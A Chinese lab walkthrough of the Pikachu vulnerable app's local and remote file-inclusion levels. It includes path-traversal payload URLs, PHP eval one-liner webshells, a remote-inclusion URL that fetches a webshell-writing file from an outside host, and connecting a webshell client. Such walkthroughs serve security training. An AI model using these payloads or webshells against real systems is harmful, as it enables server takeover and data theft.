File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。
本地文件包含
读取“隐藏”文件
随意点击然后提交,观察url发现提交方式是get,参数名字是file1.php,可以知道是本地文件包含把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。
那有没有可能这套文件里面就有废弃或者隐藏的文件咧?
把burpsuite请出来爆破一下:
把下图这个请求报文send to intruder
爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破,把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file10.php、file100.php
ile6.php果然是个包含用户名和密码的隐藏文件
file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
file10.php和file100.php都是一样的报错信息,就不贴图了。
读取不同文件夹文件
网站根目录是D:\phpstudy_pro\WWW\xscj,我们可以尝试读下D:\phpstudy_pro\WWW\shell.txt
上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为…/…/…/…/…/…/,代入url中组成payload:
http://127.0.0.1/xscj/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../../shell.txt&submit=%E6%8F%90%E4%BA%A4
读取系统文件
windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为C:/…/…/…/…/…/…/…/…/windows/win.ini,代入url中组成payload:
http://127.0.0.1/xscj/pikachu-master/vul/fileinclude/fi_local.php?filename=C:/../../../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4
结合文件上传getshell
在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马名为shell.jpg,其内容包含所示的一句话木马。<?php @eval($_POST['x']);?>
上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:
http://127.0.0.1/xscj/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/shell.jpg&submit=%E6%8F%90%E4%BA%A4
用菜刀连接,连接成功:
远程包含
首先这关要在php.ini中打开allow_url_include,不然会像下图这样报错。
这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?
url中把include()函数的完整参数给出来了。
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径
http://127.0.0.1/xscj/pikachu-master/vul/fileinclude/fi_remote.php?filename=D:\phpStudy\PHPTutorial\shell.txt&submit=%E6%8F%90%E4%BA%A4
包含写木马的文件
该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马写入shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[Cknife]) ?> ' ); ?>
payload:
http://127.0.0.1/xscj/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://192.168.224.128:8057/test.txt&submit=%E6%8F%90%E4%BA%A4
包含文件test.txt
服务器请求test.txt,由于确定有文件包含漏洞,此时test.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。
用菜刀连接,连接成功: